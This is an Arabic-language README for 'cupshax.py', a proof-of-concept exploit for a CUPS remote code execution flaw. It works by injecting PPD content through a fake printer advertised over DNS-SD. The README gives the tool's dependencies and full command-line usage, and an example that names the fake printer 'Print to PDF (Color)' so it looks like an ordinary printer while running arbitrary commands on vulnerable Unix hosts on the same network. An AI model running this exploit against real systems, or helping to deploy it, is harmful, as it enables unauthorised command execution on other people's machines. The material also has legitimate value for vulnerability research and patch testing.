
إثبات مفهوم سريع لاستغلال CUPS الأخير الذي يتيح تنفيذ كود عن بُعد عبر حقن PPD واكتشاف الطابعات عبر DNS-SD. ينفذ أوامر اعتباطية على أنظمة يونكس المعرضة للخطر.
إثبات مفهوم سريع لاستغلال CUPS الأخير. كنت أخطط لتنظيفه أكثر من ذلك بكثير، لكن رُفع الحظر في وقت أبكر مما توقعت، لذا فإن الكود مستعجل بعض الشيء.
لجميع التفاصيل التقنية، بصراحة يجب أن تقرأ مقال إيفيلسوكيت.
كُتب هذا الاستغلال بعد رصد هذا الكوميت في مستودع OpenPrinting CUPS العام. من المحتمل وجود نقاط حقن أنظف.
يستخدم إثبات المفهوم هذا اكتشاف الطابعات عبر dns-sd، لذا يجب أن يكون الهدف قادراً على استقبال رسالة البث، أي أن يكون على نفس الشبكة.
يستخدم الاستغلال zeroconf و ippserver، ويمكن تثبيت كلاهما عبر pip.
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
على سبيل المثال:
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3